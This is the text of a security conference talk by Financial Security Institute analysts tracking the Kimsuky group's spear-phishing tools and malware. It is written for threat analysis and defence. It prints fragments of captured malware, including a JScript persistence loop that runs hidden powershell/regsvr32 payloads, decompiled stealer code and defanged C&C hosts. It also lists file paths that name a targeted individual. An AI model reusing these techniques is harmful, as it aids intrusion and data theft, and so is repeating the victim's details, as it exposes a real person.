Kimsuky Group:
Track the King of the Spear-Phishing

2019.10.04

Jaeki Kim,
Kyoung-Ju Kwak,
Min-Chang Jang

@Financial Security Institute
About Me

- JAEKI KIM (a.k.a JACK2)
  - Malware & Threat Analysis
    - Computer Emergency Analysis Team @FSI (2016~)
  - Main Author of Threat Intelligence Report ‘Campaign DOKKAEBI’
    - Speaker of DOKKAEBI: Documents of Korean and Evil Binary @VB2018
  - Digital Forensic
    - CECRC @NEC(National Election Commission) (2016)
  - M.S. degree - Information Security
    - SANE Lab, Korea University (2014 ~ 2016)
  - Interest in Analysis
    - Mentor of Best of the Best(B.O.B) Program
      (Vulnerability Analysis Track) @KITRI
    - Member of “KOREANBADASS”, “SeoulPlusBadass” Team
      @DEFCON CTF Finalist (2017, 2018, 2019)
  - SNS(facebook,twitter) @2runjack2
About Me

Kyoung-ju KWAK

- Manager of FSI Threat Analysis Team (~Jan.2019)
- Manager of FSI Security Operations Center (Current)
- Adjunct Professor, Department of Forensics, SungKyunKwan University
- Main Author of Threat Intelligence Report
  “Campaign Rifle : Andariel, The Maiden of Anguish”
- Member of National Police Agency Cybercrime Advisory Committee
- Speaker of {Blackhat, Kaspersky SAS, Kaspersky CSW, PACSEC, HITCON, HACKCON, ISCR, etc}
- SNS (facebook, twitter) @kjkkwak12
Min-Chang Jang (a.k.a OSIRIS)

A manager of CEAT
Computer Emergency Analysis Team @FSI (2014~)
Main Author of Threat Intelligence Report ‘Shadow Voice’

A graduate student (M.S degree)
SANE Lab, Korea University (2014 ~ Now)

Served in the Korea NAVY CERT

Interest in Extreme Sports

Speaker of {BlackHat Europe & Asia, KIMCHI CON, CODE BLUE}
SNS (fb: mins4416, twt: 051R15)
About Us

- Threat Intelligence Report
  [http://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataList.do](http://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataList.do)
Contents

- Introduction
- Related Cases
- Toolset characteristics
- Tracking Malware & Monitoring C&C
- Relationships
- Recent Trends
- Conclusion
About Me

- **JAEKI KIM (a.k.a JACK2)**
  - Malware & Threat Analysis
    - Computer Emergency Analysis Team @FSI (2016~)
  - Main Author of Threat Intelligence Report ‘Campaign DOKKAEBI’
    - Speaker of DOKKAEBI: Documents of Korean and Evil Binary @VB2018
  - Digital Forensic
    - CECRC @NEC(National Election Commission) (2016)
  - M.S. degree - Information Security
    - SANE Lab, Korea University (2014 ~ 2016)
  - Interest in Analysis
    - Mentor of Best of the Best(B.O.B) Program (Vulnerability Analysis Track) @KITRI
    - Member of “KOREANBADASS”, “SeoulPlusBadass” Team @DEFCON CTF Finalist (2017, 2018, 2019)
  - SNS(facebook,twitter) @2runjack2
DOKKAEBI:
Documents of Korean and Evil Binary

2018.10.03

Jaeki Kim,
Kyoung-Ju Kwak,
Min-Chang Jang
@Financial Security Institute
Introduction

- **Campaign DOKKAEBI**
  - A set of Operation carried out by Threat Groups
    - using **malicious Hangul documents** for some particular purpose
  - **Related Threat Groups**
    - Bluenoroff, Kimsuky, Scarcruft

- **Incident**
  - IOCs

- **TTPs/Campaign**

- **Actor**
  - Attribution
  - Motivation/Goal

- Hangul documents and dropped (downloaded) malware

- => Documents Of Korean And Evil Binary

- Campaign DOKKAEBI

- Bluenoroff Kimsuky Scarcruft
## Related Threat Groups

<table>
<thead>
<tr>
<th>Threat Group</th>
<th>Target</th>
<th>Purpose</th>
<th>Activity Time</th>
<th>Major Incident</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bluenoroff</td>
<td>Global and Korean domestic financial companies, Officials and users of crypto-currency exchanges</td>
<td>Confidential information takeover and monetary gain (SWIFT, crypto-currency)</td>
<td>2015 ~</td>
<td>SWIFT illegal transaction of central bank of Bangladesh</td>
</tr>
<tr>
<td>Kimsuky</td>
<td>Infrastructure, Government, North Korean defectors and politicians</td>
<td>Information gathering and social confusion</td>
<td>2013 ~</td>
<td>KHNP cyber terrorism (2014)</td>
</tr>
</tbody>
</table>
## Introduction

### Related Threat Groups

<table>
<thead>
<tr>
<th>Threat Group</th>
<th>Target</th>
<th>Purpose</th>
<th>Activity Time</th>
<th>Major Incident</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kimsuky</td>
<td>Infrastructure, Government, North Korean defectors and politicians</td>
<td>Information gathering and social confusion</td>
<td>2013 ~</td>
<td>KHNP cyber terrorism (2014)</td>
</tr>
</tbody>
</table>
Introduction

- **Kimsuky Group**
  - The kimsuky operation: a north korean apt? (Kaspersky, 2013.09)
Introduction

- **Kimsuky Group**
  - The kimsuky operation: a north korean apt? (Kaspersky, 2013.09)
  - KHNP (Korea Hydro & Nuclear Power) cyber terrorism attacks (2014.12)
Introduction

- Kimsuky Group
  - The kimsuky operation: a north korean apt? (Kaspersky, 2013.09)
  
  - KHNP (Korea Hydro & Nuclear Power) cyber terrorism attacks (2014.12)

- Still active as of 2019
Contents

- Introduction
- Related Cases
- Toolset characteristics
- Tracking Malware & Monitoring C&C
- Relationships
- Recent Trends
- Conclusion
South Korean reporters get malware emails; North Korea suspected

The email titled "TF reference info" with a compressed file attached was sent to more than 70 reporters, mostly members of the unification ministry's press corps, earlier in the day. It was sent through a private email address from a person named "Yoon Hong-geun." The ministry suspects it contains malicious code designed for hacking.

"Since the start of this year, many hacking attempts and cyberattacks have been carried out by those disguising themselves as the government and the
Related Cases

Related Cases

Known as Various Operations

- Cobra Vennom, Kitty Phishing, Kabar Cobra ...

Reference:
https://blog.alyac.co.kr/2066
https://threarecon.nshc.net/2019/01/30/operation-kitty-phishing/
KimsuKY Attacks Journalist and a Cryptocurrency Business in South Korea (2019.02.11, Kaspersky)
Toolset characteristics

- Server-side Toolkits & Malware
Toolset characteristics

- **Server-side Toolkits (for Spear-Phishing)**
  - 1) Mailer – shape
  - 2) Mailer – core
  - 3) Beaconer
  - 4) Phisher
  - 5) Logger
Toolset characteristics

- **Server-side Toolkits**
  - 1) Mailer – shape
Toolset characteristics

- Server-side Toolkits
  - 2) Mailer – core

```html
<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="utf-8">
  <META http-equiv="Content-Language" CONTENT CONT>
  <meta name="product" content="Metro UI C">
  <meta name="description" content="Time-Sp">
  <meta name="author" content="Time-Space">
  <meta name="keywords" content="js, css, m
</head>
<body>
<form method="post" name="frm" id="frm" action="mail_ok.php" enctype="multipart/form-data">
<table>
<tr>
  <td>송신자이름</td>
  <td>
    <input type="text" name="from_name" id="from_name" placeholder="송신자명" size="35"
</td>
</tr>
</table>
</form>
```
Toolset characteristics

- Server-side Toolkits (for Spear-Phishing)
  - 3) Beaconer
  - 4) Phisher
  - 5) Logger
Toolset characteristics

- Server-side
  - 1) Mailer-shape
  - 2) Mailer-core
  - 3) Beaconer
  - 4) Phisher
Toolset characteristics

- Server-side (for Spear-Phishing)

- 4) Phisher
- 5) Logger
5) Logger

- 비밀번호는 8-32자의 영문 대/소문자, 숫자, 특수문자를 조합하여 사용하실 수 있습니다.
- 쉬운 비밀번호나 자주 쓰는 사이트의 비밀번호가 같을 경우, 도용되기 쉬워 주기적으로 변경하여 사용하는 것이 좋습니다.
- 비밀번호에 특수문자를 추가하여 사용하시면 기억하기도 쉽고, 비밀번호 안전도가 높이지 도용의 위험이 줄어듭니다.
Toolset characteristics

- **Malware**
  - 6) Dropper – Malicious HWP Documents
  - 7) Dropper – Camouflaged HWP Documents
  - 8) Script
  - 9) Info Stealer
Toolset 1

- Malware

Toolset characteristics

- **Malware**
  - 7) Dropper – Camouflaged HWP
- Malware
  - 9) Info Stealer
<table>
<thead>
<tr>
<th>Name</th>
<th>No.</th>
<th>Type (Tag)</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mailer (shape)</td>
<td>1</td>
<td>Mailer</td>
<td>Mailer (just shape)</td>
</tr>
<tr>
<td>Mailer (core)</td>
<td>2</td>
<td>Mailer</td>
<td>Mailer (actual function)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1) Attachment malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>2) Link to phishing page for account takeover</td>
</tr>
<tr>
<td>Beaconer</td>
<td>3</td>
<td>Web-Beacon</td>
<td>Beacon to check whether mail is being viewed</td>
</tr>
<tr>
<td>Phisher</td>
<td>4</td>
<td>Account Stealer</td>
<td>Phishing Toolkit(lod) Phishing Page for Account Steal</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Phishing</td>
<td></td>
</tr>
<tr>
<td>Logger</td>
<td>5</td>
<td>Logging</td>
<td>Logging for Phishing Target Information</td>
</tr>
<tr>
<td>Malicious HWP</td>
<td>6</td>
<td>Dropper</td>
<td>Malicious HWP Documents</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sprear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Camouflaged HWP</td>
<td>7</td>
<td>Dropper</td>
<td>Camouflaged HWP Documents (Ex. sfx, exe ...)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sprear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Script</td>
<td>8</td>
<td>Downloader</td>
<td>Download additional malware and logging</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td>(Ex. *.vbs, *.wsf, *.jse, *.ps1)</td>
</tr>
<tr>
<td>Info Stealer</td>
<td>9</td>
<td>C&amp;C / DLL / FTP</td>
<td>Steal Information of Infected Target and Download additional malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Downloader</td>
<td>(Ex. Some case using FTP)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td></td>
</tr>
</tbody>
</table>
Contents

- Introduction
- Related Cases
- Toolset Characteristics
- Tracking Malware & Monitoring C&C
- Relationships
- Recent Trends
- Conclusion
Tracking Malware & Monitoring C&C

- Focus
Tracking Malware & Monitoring C&C

- Focus
  - Attacker

Liverpool's Attack
Tracking Malware & Monitoring C&C

- **Focus**
  - Attacker != Defender

![Liverpool's Attack](image)

![Liverpool's Defense](image)
Tracking Malware & Monitoring C&C

- Focus
  - Attacker != Defender
Tracking Malware & Monitoring C&C

- **Focus**
  - Attacker != Defender: **OPSEC FAIL**
Tracking Malware & Monitoring C&C

- **OPSEC FAIL CASES**
  - 1) Directory Listing
  - 2) Leaked FTP Access Information
  - 3) File Download vulnerability
Tracking Malware & Monitoring C&C

- OPSEC FAIL CASES
  - 1) Directory Listing
[CASE 1-1] Directory Listing – HWP Malware

After “Campaign DOKKAEBI” (H-DS type)
## Related Toolset

<table>
<thead>
<tr>
<th>Name</th>
<th>No.</th>
<th>Type (Tag)</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mailer (shape)</td>
<td>1</td>
<td>Mailer</td>
<td>Mailer (just shape)</td>
</tr>
</tbody>
</table>
| Mailer (core)      | 2   | Mailer              | Mailer (actual function)  
1) Attachment malware  
2) Link to phishing page for account takeover |
| Beaconer           | 3   | Web-Beacon          | Beacon to check whether mail is being viewed                             |
| Phisher            | 4   | Account Stealer     | Phishing Toolkit(lod) Phishing Page for Account Steal                     |
| Logger             | 5   | Logging             | Logging for Phishing Target Information                                   |
| Malicious HWP      | 6   | Dropper             | Malicious HWP Documents                                                   |
| Camouflaged HWP    | 7   | Dropper             | Camouflaged HWP Documents (Ex. sfx, exe ...)                               |
| Script             | 8   | Downloader          | Download additional malware and logging  
(Ex. *.vbs, *.wsf, *.jse, *.ps1)                                         |
| Info Stealer       | 9   | C&C / DLL / FTP     | Steal Information of Infected Target and Download additional malware  
(Ex. Some case using FTP)                                                |
<table>
<thead>
<tr>
<th>Name</th>
<th>No.</th>
<th>Type (Tag)</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mailer (shape)</td>
<td>1</td>
<td>Mailer</td>
<td>Mailer (just shape)</td>
</tr>
<tr>
<td>Mailer (core)</td>
<td>2</td>
<td>Mailer</td>
<td>Mailer (actual function)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1) Attachment malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>2) Link to phishing page for account takeover</td>
</tr>
<tr>
<td>Beaconer</td>
<td>3</td>
<td>Web-Beacon</td>
<td>Beacon to check whether mail is being viewed</td>
</tr>
<tr>
<td>Phisher</td>
<td>4</td>
<td>Account Stealer</td>
<td>Phishing Toolkit(lod) Phishing Page for Account Steal</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Phishing</td>
<td></td>
</tr>
<tr>
<td>Logger</td>
<td>5</td>
<td>Logging</td>
<td>Logging for Phishing Target Information</td>
</tr>
<tr>
<td>Malicious HWP</td>
<td>6</td>
<td>Dropper</td>
<td>Malicious HWP Documents</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sprear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Camouflaged HWP</td>
<td>7</td>
<td>Dropper</td>
<td>Camouflaged HWP Documents (Ex. sfx, exe ...)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sprear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Script</td>
<td>8</td>
<td>Downloader</td>
<td>Download additional malware and logging</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td>(Ex. *.vbs, *.wsf, *.jse, *.ps1)</td>
</tr>
<tr>
<td>Info Stealer</td>
<td>9</td>
<td>C&amp;C / DLL / FTP</td>
<td>Steal Information of Infected Target and Download additional malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Downloader</td>
<td>(Ex. Some case using FTP)</td>
</tr>
</tbody>
</table>
[CASE 1-1] Directory Listing – HWP Malware

Basic Properties

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5</td>
<td>8332be776617364c16868c1ad6b4efe7</td>
</tr>
<tr>
<td>SHA-1</td>
<td>618500453c5488e4a2fe43d5647f46eefe01bd56</td>
</tr>
<tr>
<td>SHA-256</td>
<td>5f2ac8672e19310bd532c47d209272bd75075696dea6ffcc47d1d37f18aff141</td>
</tr>
<tr>
<td>SSDEEP</td>
<td>1536:1Vrn64kjWjkijEKd2h3K7ZUEYZuZVjhCqrrqTfCAtfIJIX7mA6rcWRX6Sl6irXDP:1vmKVWWYn</td>
</tr>
<tr>
<td>File type</td>
<td>Hangul (Korean) Word Processor document</td>
</tr>
<tr>
<td>Magic</td>
<td>CDF V2 Document, corrupt: Cannot read summary info</td>
</tr>
<tr>
<td>File size</td>
<td>227.97 KB (233444 bytes)</td>
</tr>
</tbody>
</table>

History

- First Submission: 2018-05-23 00:52:17
- Last Submission: 2018-05-30 01:45:39
- Last Analysis: 2019-04-04 03:02:57

Names

- 종전선언.hwp
Tracking Malware & Monitoring C&C

- **[CASE 1-1] Directory Listing – HWP Malware**
  - **Process Hollowing:** notepad.exe
    - core.dll (4de21c3af64b3b605446278de92dfff4)
      - DLL Name: OneDll.dll
      - Export Function Name: DllRegisterServer

```
Hwp.exe "C:\5f2ac8672e19310bd532c47d209272bd75075696dea6ffcc47d1d37f18aff141.hwp" (PID: 5800)
HimTrayIcon.exe (PID: 6092) [ ] [ ]
notepad.exe (PID: 3908) [ ]
regsvr32.exe /s "%TEMP%\core.dll" (PID: 4020) [ ]
wscript.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\fontchk.jse" (PID: 3904)
```

```
.rdata:1000DFE0 ; Export Ordinals Table for OneDll.dll
.rdata:1000DFE0 ;
.rdata:1000DFE0 word_1000DFE0 dw 0 ; DATA XREF: .rdata:1000DFD4↑0
.rdata:1000DFE2 aOnedllDll db 'OneDll.dll',0 ; DATA XREF: .rdata:1000DFBC↑0
.rdata:1000DFED aDllregisterser db 'DllRegisterServer',0
```
[CASE 1-1] Directory Listing – HWP Malware

- **fontchk.jse** (f22db1e3ea74af791e34ad5aa0297664)
  - C&C : **suppcrt-seourity[..]esy.es** (185.224.138[..]29, NL)

```plaintext
    if (fs.FileExists(folder + runfile))
    {
        objShell.Run("powershell.exe -windowstyle hidden regsvr32 /s /i:"" + "" "
        folder + runfile, 0, true);
        try{
            log.send();
            }catch(e){}
    }

    WScript.Sleep(600000);
    }while(true)
    try{
        log.send();
```
[CASE 1-1] Directory Listing – HWP Malware

- **fontchk.jse** (f22db1e3ea74af791e34ad5aa0297664)
  - C&C: `suppcrt-seourity[].esy.es` (185.224.138[].29, NL)

```csharp
    if (fs.FileExists(folder + runfile))
    {
        objShell.Run("powershell.exe -windowstyle hidden regsvr32 /s /i:"" + "" + folder + runfile + ", false);
    }
```

**Index of /update**

- **Parent Directory**
- **7za.exe**
- **boot**
- **fonts/**
- **templates/**

```
```
Tracking Malware & Monitoring C&C

- Like Sherlock Holmes ...

Search:
Thames
+ High Tide
+ Riverside
Tracking Malware & Monitoring C&C

A CRIMINAL ALWAYS RETURNS TO THE SCENE OF THE CRIME
Tracking Malware & Monitoring C&C

- C&C - Tracking/Monitoring
  - fontchk.jse (f22db1e3ea74af791e34ad5aa0297664)
    - C&C: support-security[.]esy.es (185.224.138[.]29, NL)
Tracking Malware & Monitoring C&C

- C&C - Tracking/Monitoring (18.07.10., D+49)
  - fontchk.jse (f22db1e3ea74af791e34ad5aa0297664)
  - C&C: suppcrt-seourity[.]esy.es (185.224.138[.]29, NL)
Tracking Malware & Monitoring C&C

- C&C - Tracking/Monitoring (18.07.10., D+49)
  - fontchk.jse (f22db1e3ea74af791e34ad5aa0297664)
    - C&C : suppcrt-seourity[..]esy.es (185.224.138[..]29, NL)
Tracking Malware & Monitoring C&C

- C&C - Tracking/Monitoring (18.07.13., D+52)
  - fontchk.jse (f22db1e3ea74af791e34ad5aa0297664)
  - C&C : suppcrt-seourity[..]esy.es (185.224.138[..]29, NL)

Index of /update/fonts/C485088E

- Parent Directory
- zeroBASE
Tracking Malware & Monitoring C&C

- C&C - Tracking/Monitoring (18.07.13., D+52)
- zerobase (53ac231e8091abcd0978124f9268b4e4)
- XOR : 0x09FD8477
C&C - Tracking/Monitoring (18.07.13., D+52)

- zerobase_xor_09FD8477
  (MD5: 8b59ea1ee28e0123da82801abc0cce4d)
  - DLL Name: HanyangUpload_script.dll
  - Build Time: 2018.07.12. 08:25:45

```
rdata:10022FE8 ; Export Ordinals Table for HanyangUpload_script.dll
.rdata:10022FE8 ;
.rdata:10022FE8 word_10022FE8   dw 0, 1 ; DATA XREF: .rdata:10022FD4\to
.rdata:10022FEC aHanyanguploadS db 'HanyangUpload_script.dll',0
.rdata:10022FEC ; DATA XREF: .rdata:10022FBC\to
.rdata:10023005 aDllregisterser db 'DllRegisterServer',0
.rdata:10023005 ; DATA XREF: .rdata:off_10022FE0\to
.rdata:10023017 aGetName       db 'GetName',0 ; DATA XREF: .rdata:off_10022FE0\to
```
Tracking Malware & Monitoring C&C

- C&C - Tracking/Monitoring (18.07.13., D+52)
  - HanyangUpload_script.dll – GetName
    - 1) Get Computer Information (Mac Address, Volume)

```c
if (GetAdaptersInfo(&AdapterInfo, &SizePointer))
goto LABEL_20;
v0 = &AdapterInfo;
while (1)
{
    memset(v18, 0, 0x104u);
v1 = &v0->GatewayList.IpAddress;
do
    {
        v2 = v1->String[0];
v1 = (v1 + 1);
v1->String[volumeNameBuffer - &v0->GatewayList.IpAddress]
    } while (v2);
vsprintf_100018F0(v18,
"%2x%2x%2x%2x%2x%2x",
v0->Address[0],
v0->Address[1],
v0->Address[2],
v0->Address[3],
v0->Address[4],
v0->Address[5]);
if (!strstr(v18, "00000000"))
LABEL_20:
    if (GetVolumeInformationA(
      "C:\",
      VolumeNameBuffer,  
      0x104u,  
      &VolumeSerialNumber,  
      &MaximumComponentLength, 
      &FileSystemFlags, 
      0,  
      0))
    {
        v9 = VolumeSerialNumber;
    }
else
    {
        v8 = GetTickCount();
v9 = rand() * v8;
        VolumeSerialNumber = v9;
    }
vsprintf_10001930(&ComInfo_1002E9D0, 16, "%x", v9);
result = 1;
```
Tracking Malware & Monitoring C&C

- C&C - Tracking/Monitoring (18.07.13., D+52)
  - HanyangUpload_script.dll – GetName

  2) Scan Specific Files

```c
void __noreturn Loop_100017D0()
{
    char i; // [esp+7h] [ebp-111h]
    char v1; // [esp+8h] [ebp-110h]

    Print_Debug_10002610("UploadAll %d", 136); // UploadAll 136
    for ( i = 0; ; ++i )
    {
        memset(&v1, 0, 0x104u);
        vsprintf_10001930(&v1, 260, &aCUUsersInsooJeo[260 * i]);
        ScanFolder_100013E0(0, &v1, 0i64);
    }
}
```
Tracking Malware & Monitoring C&C

- C&C - Tracking/Monitoring (18.07.13., D+52)

- HanyangUpload_script.dll – GetName

- 2) Scan Specific Files

<table>
<thead>
<tr>
<th>Address</th>
<th>Length</th>
<th>Type</th>
<th>String</th>
</tr>
</thead>
<tbody>
<tr>
<td>.data:1002... 0000005C</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\NIC\NIC 2017\Peace Man List.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000067</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\NIC\NIC 2017\Peace Men in the Country.ppt</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 0000005C</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\NIC\NIC 2017\Peace men Pictures</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 0000006B</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir09 Personal\보낸 중요한 편지들\2012면 북한사역보고(제안고문).hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 0000005F</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\보관 중요 파일\사역자 부모 추모 hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000070</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir09 Personal\My Ministry Partners\정인수선교사와 북한사역자 정보.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 0000006E</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir09 Personal\My Ministry Partners\서약을 위해 만나야 할 사람들.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000063</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir09 Personal\My Ministry Partners\만나야할 사람들.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000070</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir02 Message\Message Pre Data\북한과 연변 그리고 조자양</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000067</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\From David Alton 이태석신부와 북한사역들.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000064</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\NK 사역방향과 사역별 소개(수영로교회).hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000066</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir03 Wongo\선교관계 원고\한국교회 조선교 사업보고 북한선교.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000068</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\조선시대 동물\NK Team 직원 부모님 연락처.dok</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000066</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir09 Personal\보낸 중요한 편지들\2014년 초에 혼란에게 울타리.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000065</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir09 Personal\보낸 중요한 편지들\북한선교지원 편지.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000067</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir09 Personal\보낸 중요한 편지들\북한선교 2012년(제일).hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 0000006F</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir09 Personal\보낸 중요한 편지들\형제들에게 귀경 준비상조.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 0000005C</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir09 Personal\보낸 중요한 편지들\형제들에게.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 0000006B</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\팀 모임에서 나의 매스지와 강의\사역방향 1.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 0000004F</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\NK 이사회 16.10.pptx</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 0000006A</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\NK단기선교영역지구 담당간사와 책임간사모임.hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000060</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\러시아 연해주 정탐 계획(백부장안).hwp</td>
<td></td>
</tr>
<tr>
<td>.data:1002... 00000069</td>
<td>C</td>
<td>C:\Users\Insoo.Jeong\Documents\1 Documents\Dir11 New Life\인적 자료 파일\NK 팀 사역보고서(Non-Field).hwp</td>
<td></td>
</tr>
</tbody>
</table>
Tracking Malware & Monitoring C&C

- C&C - Tracking/Monitoring (18.07.13., D+52)
  - HanyangUpload_script.dll – GetName
    - 3) C&C

```c
strcpy(&v8, "ac.wsf");
*cac_wsf = "C:\ProgramData\cac.wsf";
memset(&v9, 0, 0xEdU);
memset(&v6, 0, 0x104u);
v2 = fopen(cac_wsf, "wb");
v3 = v2;
if ( v2 )
{
    fwrite(aXmlPackageJobI, 1u, 2298u, v2);
    fclose(v3);
}
Enc_File_10002280(a1);
vsprintf_10001930(&v6, 260, "/filepath:"%s"", a1);
Print_Debug_10002610("Start Send");
memset(&pExecInfo, 0, 0x3Cu);
pExecInfo.cbSize = 60;
pExecInfo.lpFile = cac_wsf;
pExecInfo.fMask = 64;
pExecInfo.lpParameters = &v6;
pExecInfo.lpVerb = "open",
pExecInfo.nShow = 0;
ShellExecuteExA(&pExecInfo);
WaitForSingleObject(pExecInfo.hProcess, 0x927C0u);
Print_Debug_10002610("end Send");
```
Tracking Malware & Monitoring C&C

HanyangUpload_script.dll – GetName

3) C&C
Tracking Malware & Monitoring C&C

- C&C - Tracking/Monitoring (18.07.13., D+52)
  - HanyangUpload_script.dll – GetName

```javascript
<scrip language='JScript'>
try
{
  var strPath = WScript.Arguments.Named.Item("filepath");


  //WScript.Echo(sResults);
}
</scrip>
```
[CASE 1-2] Camouflaged as HWP documents
## Related Toolset

<table>
<thead>
<tr>
<th>Name</th>
<th>No.</th>
<th>Type (Tag)</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mailer (shape)</td>
<td>1</td>
<td>Mailer</td>
<td>Mailer (just shape)</td>
</tr>
<tr>
<td>Mailer (core)</td>
<td>2</td>
<td>Mailer</td>
<td>Mailer (actual function)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1) Attachment malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>2) Link to phishing page for account takeover</td>
</tr>
<tr>
<td>Beaconer</td>
<td>3</td>
<td>Web-Beacon</td>
<td>Beacon to check whether mail is being viewed</td>
</tr>
<tr>
<td>Phisher</td>
<td>4</td>
<td>Account Stealer</td>
<td>Phishing Toolkit(lod) Phishing Page for Account Steal</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Phishing</td>
<td></td>
</tr>
<tr>
<td>Logger</td>
<td>5</td>
<td>Logging</td>
<td>Logging for Phishing Target Information</td>
</tr>
<tr>
<td>Malicious HWP</td>
<td>6</td>
<td>Dropper</td>
<td>Malicious HWP Documents</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sprear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Camouflaged HWP</td>
<td>7</td>
<td>Dropper</td>
<td>Camouflaged HWP Documents (Ex. sfx, exe ... )</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sprear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Script</td>
<td>8</td>
<td>Downloader</td>
<td>Download additional malware and logging (Ex. *.vbs, *.wsf, *.jse, *.ps1)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td></td>
</tr>
<tr>
<td>Info Stealer</td>
<td>9</td>
<td>C&amp;C / DLL / FTP</td>
<td>Steal Information of Infected Target and Download additional malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Downloader</td>
<td>(Ex. Some case using FTP)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td></td>
</tr>
</tbody>
</table>
## Related Toolset

<table>
<thead>
<tr>
<th>Name</th>
<th>No.</th>
<th>Type (Tag)</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mailer (shape)</td>
<td>1</td>
<td>Mailer</td>
<td>Mailer (just shape)</td>
</tr>
</tbody>
</table>
| Mailer (core)         | 2   | Mailer           | Mailer (actual function)  
  1) Attachment malware  
  2) Link to phishing page for account takeover |
| Beaconer              | 3   | Web-Beacon       | Beacon to check whether mail is being viewed    |
| Phisher               | 4   | Account Stealer  | Phishing Toolkit(lod) Phishing Page for Account Steal                  |
